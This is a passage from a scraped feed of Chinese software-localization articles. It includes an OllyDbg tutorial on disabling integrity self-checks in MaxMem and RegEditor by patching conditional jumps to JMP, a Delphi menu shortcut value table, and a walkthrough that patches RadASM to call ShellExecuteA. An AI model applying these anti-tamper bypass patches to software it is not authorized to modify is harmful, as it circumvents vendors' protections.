&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH 10 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL00401596 |. 68 BAF34000 &amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH MAXMEM.0040F3BA &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; |Title = &amp;quot;Internal error...&amp;quot;0040159B |. 68 12104100 &amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH MAXMEM.00411012 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; |Text = &amp;quot;ABORT: MaxMem has been corrupted, please re-install to correct the problem. (winmain.c/564)&amp;quot;004015A0 |. 6A 00 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH 0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; |hOwner = NULL004015A2 |. 2E:FF15 E4E340&amp;gt;CALL DWORD PTR CS:[&amp;lt;&amp;amp;USER32.MessageBoxA&amp;gt;&amp;gt;&amp;nbsp;; \MessageBoxA 004015A9 |. EB 1E &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JMP SHORT MAXMEM.004015C9 大家是不是发现，00401592 处有一个转移指令，那么是否可以把 JNZ SHORT MAXMEM.004015C9 改为 JMP SHORT MAXMEM.004015C9，经过测试发现改这里没有作用，虽然没有了提示框，但软件还是无法运行。所以，接着下面继续讲解。选择&amp;ldquo;View&amp;rdquo;主菜单中的&amp;ldquo;Memory&amp;rdquo;项目（快捷键为Alt+M），这时会产生一个新的窗口，在这个窗口中查看标题（Owner）为 MAXMEM 的项目，共有七个地方，其中块（Section）的内容都为空（这里是个特例，一般 Section 的内容是.data、.code、.rsrc），当我们选择 Owner 为 MAXMEM 的倒数第四处地方时（因为这个 Section 中存放着出错对话框中的字符串，这里我是通过不断的测试发现的，一般这样的字符串都会存放在 Section 为.code或.data当中，但这个软件 Section 内容都为空，所以判断起来就困难一些），单击鼠标右键选择&amp;ldquo;Dump in CPU&amp;rdquo;；这里应该切换到 OllyDbg 的左下角是内存区中，单击鼠标右键选择&amp;ldquo;Search for&amp;rdquo;菜单中的&amp;ldquo;Binary string&amp;rdquo;项目，并在 ASCII 框中输入 ABORT: MaxMem，（其实也就是启动 MaxMem 时出现在错误对话框中的内容，这里我只取了前几个字符）单击&amp;ldquo;OK&amp;rdquo;按钮，没有找到。好吧，我就查找 has been corrupted，可以找到一处，再往下查找就没有了；所以，我肯定此处就是启动软件时出现的错误提示信息，找到的字符串是&amp;ldquo;%s has been corrupted, please re-install to correct the problem.&amp;rdquo;那么看来&amp;ldquo;ABORT: MaxMem&amp;rdquo;这几个字符串是在软件运行时自动填补进来的，单击鼠标右键选择&amp;ldquo;Fine references&amp;rdquo;项目又进入了一个窗口，在其中显示出了该对话框被那几地方调用过，这里只有一地方调用它，地址是 0040390F，在该处双击鼠标左键来到了 OllyDbg 左上角的汇编区中，这时的状态如下所示：004038F1 |. E8 9DD8FFFF &amp;nbsp;&amp;nbsp;CALL MAXMEM.00401193004038F6 |. 85C0 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TEST EAX,EAX004038F8 |. 75 22 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT MAXMEM.0040391C004038FA |. BA 34020000 &amp;nbsp;&amp;nbsp;MOV EDX,234004038FF |. B8 F4F94000 &amp;nbsp;&amp;nbsp;MOV EAX,MAXMEM.0040F9F4 &amp;nbsp;&amp;nbsp;&amp;nbsp;; ASCII &amp;quot;winmain.c&amp;quot;00403904 |. E8 77DDFFFF &amp;nbsp;&amp;nbsp;CALL MAXMEM.0040168000403909 |. FF35 E4014100 PUSH DWORD PTR DS:[4101E4] ; /Arg2 = 0040F894 ASCII &amp;quot;MaxMem&amp;quot;0040390F |. 68 F3FA4000 &amp;nbsp;&amp;nbsp;PUSH MAXMEM.0040FAF3 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; |Arg1 = 0040FAF3 ASCII &amp;quot;%s has been corrupted, please re-install to correct the problem.&amp;quot;00403914 |. E8 6DDAFFFF &amp;nbsp;&amp;nbsp;CALL MAXMEM.00401386 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; \MAXMEM.00401386从 0040390F 向上找，可以知道只要把 004038F8 处的指令 JNZ SHORT MAXMEM.0040391C 改为 JMP SHORT MAXMEM.0040391C（注：JMP 指令是无条件转移指令；即不论条件是否匹配，它都会永远跳转到目标地址），之后就可以跳过这个出错对话框继续往下执行。具体的修改方法在上面我已介绍过了，这里不再重复讲述。
3、 自检验保护软件 RegEditor 1.2：这个软件是应论坛上一位朋友 mimizero 的要求，进行的调试修改。跟踪调试方法我就不多说了，与上面讲的基本相同，只是该软件在解除自检验后就无法再使用它所具有的任何功能了，只要使用该软件的任何一个功能就自动退出运行，这种保护方式可能以后会有很多软件开发人员使用，所以在此我也提一下。我们可以通过中断 PostQuitMessage 函数来达到调试的目的，操作步骤：在 OllyDbg 中按 Ctrl+N 键在其中选择 user32.PostQuitMessage 函数--&amp;gt;按 Enter 键之后选中有 Call 语句的地方，按 F2 键下断点--&amp;gt;之后，运行该软件中任何一个功能，立刻就会被 OllyDbg 中断，回到 OllyDbg 的主界面左上角的汇编区中向上找是否有能跳过此处的指令，比如：JNZ、JZ等，之后把找到的地方改为 JMP 就行了。对于该软件共可以找到五处地方调用了 user32.PostQuitMessage 函数，但只要修改其中的三处地方即可完全解决该软件执行功能自动退出的情况，其它两处好象都是执行软件的正常退出，决对不能改，否则软件将不能正常退出了。 
上面讲到的这三种软件自检验保护方式应该是目前最常见的。当然，也不是说你学会这篇文章中的全部内容就能对付所有软件的自检验了，在我们的汉化过程中会碰到一些有很强自检验保护的软件，比如：CacheX、flax、CuteFTP Pro、HyperSnap-DX等，这些软件的自检验真可谓是最难解除的了，像 CacheX 它就的是根据自检验的结果来动态还原某些运行代码，如果你改动了软件中的任何地方，这些动态生成的代码将得不到正确的还原，一旦运行肯定就会出错。此类软件如果大家遇到就只能耐心慢慢分析调试了。 
OllyDbg 的网址：，你可以到它的网站去下载该软件的最新版本。 
─ &amp;nbsp;&amp;nbsp;写于2002年4月26日 </text>
<image>http://www.youjoys.cn/uploads/allimg/c110923/131C40O9220-12015_lit.jpg </image>
<keywords>汉化新世纪,--,最专业的汉化原创 </keywords>
<category>编程知识 </category>
<author> </author>
<source> </source>
<pubDate>2011-09-23 09:23 </pubDate>
</item>
<item>
<title>用起来更顺 —— Delphi 软件快捷键的设置 </title>
<link>http://www.youjoys.cn/knowledge/20110923/409.html </link>
<description>用起来更顺 Delphi 软件快捷键的设置 一直都是看其他汉化高手总结的经验，看了之后受益匪浅，却也让我更没有什么可说的了，还好，Delphi 软件的快捷键的设置似乎一直没人讲，我来凑个热闹吧，做个快捷键列表，需要的时候查一下就可以了。啊...怎么用？举两个 </description>
<text>用起来更顺 &amp;mdash;&amp;mdash; Delphi 软件快捷键的设置

&amp;nbsp;&amp;nbsp;&amp;nbsp; 一直都是看其他汉化高手总结的经验，看了之后受益匪浅，却也让我更没有什么可说的了，还好，Delphi 软件的快捷键的设置似乎一直没人讲，我来凑个热闹吧，做个快捷键列表，需要的时候查一下就可以了。啊...怎么用？举两个例子吧：object InvertSelection1: TMenuItem&amp;nbsp; Caption = '反转排列顺序'&amp;nbsp; ImageIndex = 0&amp;nbsp; ShortCut = 120&amp;nbsp; OnClick = InvertSelection1Clickendobject Quit1: TMenuItem&amp;nbsp; Caption = '退出'&amp;nbsp; ImageIndex = 1&amp;nbsp; ShortCut = 16465&amp;nbsp; OnClick = Quit1Clickend
object MenuEdt: TMenuItem&amp;nbsp; Caption = '编辑(&amp;amp;E);曇廤(&amp;amp;E)'&amp;nbsp; Enabled = False&amp;nbsp; ShortCut = 113&amp;nbsp; OnClick = MenuEdtClickendobject MenuIns: TMenuItem&amp;nbsp; Caption = '插入(&amp;amp;I);憓擖(&amp;amp;I)'&amp;nbsp; Enabled = False&amp;nbsp; ShortCut = 45&amp;nbsp; OnClick = MenuInsClickend

&amp;nbsp;&amp;nbsp;&amp;nbsp; 注意到没有：所有有 ShortCut = XXX 的对象都是 TMenuItem，也就是要在菜单项中才能有或加入这些快捷键，其他地方就别乱加了。如果原来菜单有快捷键，但不符合你的心意，你只需按你自己的需要，查下面的表，将其换为你喜欢的快捷键即可；如果原来没有，你可以在 OnClick = 语句上面加上 ShortCut = XXX (XXX 需要你自己选)即可。比如将上面的&amp;nbsp; ShortCut = 16465 (快捷键为 Ctrl+Q) 改为 ShortCut = 115 (快捷键就变成 F4 了)&amp;nbsp;&amp;nbsp;&amp;nbsp; 不过，如果软件本身提供了修改快捷键功能的话，就不必这么麻烦了。只有在软件没有提供快捷键或设置快捷键功能，才需要自己去设置或更改，但务必注意：别设置重复、冲突了。


    
        
            
            
            
                
                    
                        
                        　
                        
                        
                        单键
                        
                        
                        Ctrl+
                        
                        
                        Alt+
                        
                        
                        Shift+
                        
                        
                        Ctrl+Alt+
                        
                        
                        Shift+Ctrl+
                        
                        
                        Shift+Alt+
                        
                    
                    
                        
                        退格
                        
                        
                        8
                        
                        
                        16392
                        
                        
                        32776
                        
                        
                        8200
                        
                        
                        49160
                        
                        
                        24584
                        
                        
                        40968
                        
                    
                    
                        
                        Tab
                        
                        
                        9
                        
                        
                        16393
                        
                        
                        32777
                        
                        
                        8201
                        
                        
                        49161
                        
                        
                        24585
                        
                        
                        40969
                        
                    
                    
                        
                        回车
                        
                        
                        13
                        
                        
                        16397
                        
                        
                        32781
                        
                        
                        8205
                        
                        
                        49165
                        
                        
                        24589
                        
                        
                        40973
                        
                    
                    
                        
                        Esc
                        
                        
                        27
                        
                        
                        16411
                        
                        
                        32795
                        
                        
                        8219
                        
                        
                        49179
                        
                        
                        24603
                        
                        
                        40987
                        
                    
                    
                        
                        空格
                        
                        
                        32
                        
                        
                        16416
                        
                        
                        32800
                        
                        
                        8224
                        
                        
                        49184
                        
                        
                        24608
                        
                        
                        40992
                        
                    
                    
                        
                        PgUp
                        
                        
                        33
                        
                        
                        16417
                        
                        
                        32801
                        
                        
                        8225
                        
                        
                        49185
                        
                        
                        24609
                        
                        
                        40993
                        
                    
                    
                        
                        PuDn
                        
                        
                        34
                        
                        
                        16418
                        
                        
                        32802
                        
                        
                        8226
                        
                        
                        49186
                        
                        
                        24610
                        
                        
                        40994
                        
                    
                    
                        
                        End
                        
                        
                        35
                        
                        
                        16419
                        
                        
                        32803
                        
                        
                        8227
                        
                        
                        49187
                        
                        
                        24611
                        
                        
                        40995
                        
                    
                    
                        
                        Home
                        
                        
                        36
                        
                        
                        16420
                        
                        
                        32804
                        
                        
                        8228
                        
                        
                        49188
                        
                        
                        24612
                        
                        
                        40996
                        
                    
                    
                        
                        左箭头
                        
                        
                        37
                        
                        
                        16421
                        
                        
                        32805
                        
                        
                        8229
                        
                        
                        49189
                        
                        
                        24613
                        
                        
                        40997
                        
                    
                    
                        
                        上箭头
                        
                        
                        38
                        
                        
                        16422
                        
                        
                        32806
                        
                        
                        8230
                        
                        
                        49190
                        
                        
                        24614
                        
                        
                        40998
                        
                    
                    
                        
                        右箭头
                        
                        
                        39
                        
                        
                        16423
                        
                        
                        32807
                        
                        
                        8231
                        
                        
                        49191
                        
                        
                        24615
                        
                        
                        40999
                        
                    
                    
                        
                        下箭头
                        
                        
                        40
                        
                        
                        16424
                        
                        
                        32808
                        
                        
                        8232
                        
                        
                        49192
                        
                        
                        24616
                        
                        
                        41000
                        
                    
                    
                        
                        Ins
                        
                        
                        45
                        
                        
                        16429
                        
                        
                        32813
                        
                        
                        8237
                        
                        
                        49197
                        
                        
                        24621
                        
                        
                        41005
                        
                    
                    
                        
                        Del
                        
                        
                        46
                        
                        
                        16430
                        
                        
                        32814
                        
                        
                        8238
                        
                        
                        49198
                        
                        
                        24622
                        
                        
                        41006
                        
                    
                    
                        
                        0
                        
                        
                        48
                        
                        
                        16432
                        
                        
                        32816
                        
                        
                        8240
                        
                        
                        49200
                        
                        
                        24624
                        
                        
                        41008
                        
                    
                    
                        
                        1
                        
                        
                        49
                        
                        
                        16433
                        
                        
                        32817
                        
                        
                        8241
                        
                        
                        49201
                        
                        
                        24625
                        
                        
                        41009
                        
                    
                    
                        
                        2
                        
                        
                        50
                        
                        
                        16434
                        
                        
                        32818
                        
                        
                        8242
                        
                        
                        49202
                        
                        
                        24626
                        
                        
                        41010
                        
                    
                    
                        
                        3
                        
                        
                        51
                        
                        
                        16435
                        
                        
                        32819
                        
                        
                        8243
                        
                        
                        49203
                        
                        
                        24627
                        
                        
                        41011
                        
                    
                    
                        
                        4
                        
                        
                        52
                        
                        
                        16436
                        
                        
                        32820
                        
                        
                        8244
                        
                        
                        49204
                        
                        
                        24628
                        
                        
                        41012
                        
                    
                    
                        
                        5
                        
                        
                        53
                        
                        
                        16437
                        
                        
                        32821
                        
                        
                        8245
                        
                        
                        49205
                        
                        
                        24629
                        
                        
                        41013
                        
                    
                    
                        
                        6
                        
                        
                        54
                        
                        
                        16438
                        
                        
                        32822
                        
                        
                        8246
                        
                        
                        49206
                        
                        
                        24630
                        
                        
                        41014
                        
                    
                    
                        
                        7
                        
                        
                        55
                        
                        
                        16439
                        
                        
                        32823
                        
                        
                        8247
                        
                        
                        49207
                        
                        
                        24631
                        
                        
                        41015
                        
                    
                    
                        
                        8
                        
                        
                        56
                        
                        
                        16440
                        
                        
                        32824
                        
                        
                        8248
                        
                        
                        49208
                        
                        
                        24632
                        
                        
                        41016
                        
                    
                    
                        
                        9
                        
                        
                        57
                        
                        
                        16441
                        
                        
                        32825
                        
                        
                        8249
                        
                        
                        49209
                        
                        
                        24633
                        
                        
                        41017
                        
                    
                    
                        
                        A
                        
                        
                        65
                        
                        
                        16449
                        
                        
                        32833
                        
                        
                        8257
                        
                        
                        49217
                        
                        
                        24641
                        
                        
                        41025
                        
                    
                    
                        
                        B
                        
                        
                        66
                        
                        
                        16450
                        
                        
                        32834
                        
                        
                        8258
                        
                        
                        49218
                        
                        
                        24642
                        
                        
                        41026
                        
                    
                    
                        
                        C
                        
                        
                        67
                        
                        
                        16451
                        
                        
                        32835
                        
                        
                        8259
                        
                        
                        49219
                        
                        
                        24643
                        
                        
                        41027
                        
                    
                    
                        
                        D
                        
                        
                        68
                        
                        
                        16452
                        
                        
                        32836
                        
                        
                        8260
                        
                        
                        49220
                        
                        
                        24644
                        
                        
                        41028
                        
                    
                    
                        
                        E
                        
                        
                        69
                        
                        
                        16453
                        
                        
                        32837
                        
                        
                        8261
                        
                        
                        49221
                        
                        
                        24645
                        
                        
                        41029
                        
                    
                    
                        
                        F
                        
                        
                        70
                        
                        
                        16454
                        
                        
                        32838
                        
                        
                        8262
                        
                        
                        49222
                        
                        
                        24646
                        
                        
                        41030
                        
                    
                    
                        
                        G
                        
                        
                        71
                        
                        
                        16455
                        
                        
                        32839
                        
                        
                        8263
                        
                        
                        49223
                        
                        
                        24647
                        
                        
                        41031
                        
                    
                    
                        
                        H
                        
                        
                        72
                        
                        
                        16456
                        
                        
                        32840
                        
                        
                        8264
                        
                        
                        49224
                        
                        
                        24648
                        
                        
                        41032
                        
                    
                    
                        
                        I
                        
                        
                        73
                        
                        
                        16457
                        
                        
                        32841
                        
                        
                        8265
                        
                        
                        49225
                        
                        
                        24649
                        
                        
                        41033
                        
                    
                    
                        
                        J
                        
                        
                        74
                        
                        
                        16458
                        
                        
                        32842
                        
                        
                        8266
                        
                        
                        49226
                        
                        
                        24650
                        
                        
                        41034
                        
                    
                    
                        
                        K
                        
                        
                        75
                        
                        
                        16459
                        
                        
                        32843
                        
                        
                        8267
                        
                        
                        49227 </text>
<image> </image>
<keywords>汉化新世纪,--,最专业的汉化原创 </keywords>
<category>编程知识 </category>
<author> </author>
<source> </source>
<pubDate>2011-09-23 09:23 </pubDate>
</item>
<item>
<title>pediy之画猫篇 </title>
<link>http://www.youjoys.cn/knowledge/20110923/410.html </link>
<description>pediy是高深的东东,要进化成pll621老大类的超级牛人,没几年的努力+天赋是不行地,8过似我等超级菜鸟,玩玩几个api为软件加点料还是可以地,这不,偶对着教程(虎),欺负了一下radasm(画成了猫:),所以就叫画猫篇了^_^.这篇文章没啥新意,希望对还没有入门的菜鸟们一 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; pediy是高深的东东,要进化成pll621老大类的&amp;quot;超级牛人&amp;quot;,没几年的努力+天赋是不行地,8过似我等超级菜鸟,玩玩几个api为软件&amp;quot;加点料&amp;quot;还是可以地,这不,偶对着教程(虎),欺负了一下radasm(画成了猫:),所以就叫&amp;quot;画猫&amp;quot;篇了^_^.这篇文章没啥新意,希望对还没有入门的菜鸟们一点帮助吧.&amp;nbsp;&amp;nbsp;&amp;nbsp; 大家知道radasm在9x下不能输入俺们的方块字(会死得很惨),我又没能力修正其编辑器(看雪上的修正版虽然能输入但不能编辑),所以偶就想给他增加个功能.调用外部编辑器打开它编辑了.偶用到的东东有trw2000,ollydbg,lordpe,exescope,hedit(任意编辑器),我还用到了w32dasm,8过不用也可以.&amp;nbsp;&amp;nbsp;&amp;nbsp; 初探:研究可行性,在radasm的工程窗口有个右键菜单,最适合加上打开的功能了(8错8错,用exescope加上个&amp;quot;用其他编辑器打开&amp;quot;呵呵,但现在他啥也干不了,别急,我们还没加功能呢),用trw载如radasm,下断点bpx createfilea(这个api用于打开文件,文件操作少不了他)先bd*然后g,就出来了主界面,打开一个工程,用ctrl+m调出主界面,be*,然后双击一个文件,不出所料,中断了下来我发现压入的地址是:440F3E,D 440F3E,果然出来了文件地址,然后G,又打开个别的文件,发现压入的还是440F3E(兴奋呀,这个太简单了,文件名地址是不变的)加上我们的代码,调用外部编辑器打开就可以了,有三个函数供我们使用:WINEXEC,ShellExecute,CreateProcess,最后一个参数太多,偶头疼,第一个简单,不过太呆板,我就选择了第二个,其参数如下
HINSTANCE ShellExecute(
&amp;nbsp;&amp;nbsp;&amp;nbsp; HWND hwnd, // handle to parent window&amp;nbsp;&amp;nbsp;&amp;nbsp; LPCTSTR lpOperation, // pointer to string that specifies operation to perform&amp;nbsp;&amp;nbsp;&amp;nbsp; LPCTSTR lpFile, // pointer to filename or folder name string&amp;nbsp;&amp;nbsp;&amp;nbsp; LPCTSTR lpParameters, // pointer to string that specifies executable-file parameters &amp;nbsp;&amp;nbsp;&amp;nbsp; LPCTSTR lpDirectory, // pointer to string that specifies default directory&amp;nbsp;&amp;nbsp;&amp;nbsp; INT nShowCmd&amp;nbsp; // whether file is shown when opened&amp;nbsp;&amp;nbsp; );
所以我们可以改成
PUSH 5&amp;nbsp;&amp;nbsp;&amp;nbsp; // SW_SHOWPUSH 0PUSH 0PUSH 440F3E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //文件地址PUSH XXXXXX&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;quot;OPEN&amp;quot; 的地址PUSH OCALL ShellExecuteA就可以了.代码放到哪儿呢?,这么短的代码放在文件头0X300处就8错了.先别急着写,我们先找菜单调用的地方::bpx sendmessage(注意不是sendmessagea我就在这儿栽了个跟头):BD*:G出来了主界面,打开一个工程CTRL+M调出TRW,:BE*:G点击一个菜单(HELP:)项断了下来,:PMODLE帮助对话框出来了,点击确定,回到了TRW我看了看没有CMP,JNZ等语句,按F12-&amp;gt;F8回到了上一个调用处,呵呵,终于找到地方了::0042EF62 55&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push ebp:0042EF63 8BEC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp:0042EF65 81C400FFFFFF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add esp, FFFFFF00
* Possible Ref to Menu: MenuID_03E6, Item: &amp;quot;苞?(N)&amp;nbsp;&amp;nbsp; Alt+Ctrl+N&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |:0042EF6B 3D419C0000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp eax, 00009C41 //是否是40001*****改成CALL 400300:0042EF70 750D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jne 0042EF7F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //不是就转到下边一段:0042EF72 FF7508&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push [ebp+08]:0042EF75 E88FAAFFFF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call 00429A09:0042EF7A E932040000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp 0042F3B1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //转到返回
* Referenced by a (U)nconditional or (C)onditional Jump at Address:|:0042EF70(C)|
* Possible Ref to Menu: MenuID_03E6, Item: &amp;quot;S&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |:0042EF7F 3D429C0000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp eax, 00009C42&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //从上边一段跳过来的:0042EF84 750C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jne 0042EF92:0042EF86 6A00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 00000000:0042EF88 E838ECFEFF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call 0041DBC5:0042EF8D E91F040000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp 0042F3B1
所以我们在400300处应该写上
:CMP EAX,9C77&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //我定义的菜单ID是40055,16进制就是9C77:JNE 0040032A&amp;nbsp; //;PUSH 5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //SW_SHOW;PUSH 0;PUSH 0;PUSH 440F3E&amp;nbsp;&amp;nbsp;&amp;nbsp; //文件地址;PUSH 400390&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;quot;OPEN&amp;quot; 的地址;PUSH O;CALL ShellExecuteA:JMP 0042F3B10040032A:CMP EAX,9C41:RET
把上边的那句3D419C0000&amp;nbsp; cmp eax, 00009C41改成:CALL 00400300然后吧400390改成&amp;quot;OPEN&amp;quot;一切OK,打开RADASM然后打开一工程(事先把ASM与INC文件的默认打开方式为EDITPLUS)先双击一个文件(只有双击后地址才会出现),然后右键&amp;quot;用外部编辑器打开&amp;quot;果然调用EDITPLUS打开了 </text>
<image> </image>
<keywords>汉化新世纪,--,最专业的汉化原创 </keywords>
<category>编程知识 </category>
<author> </author>
<source> </source>
<pubDate>2011-09-23 09:23 </pubDate>
</item>
<item>
<title>脱壳后影响汉化的处理方式探讨 </title>
<link>http://www.youjoys.cn/knowledge/20110923/411.html </link>
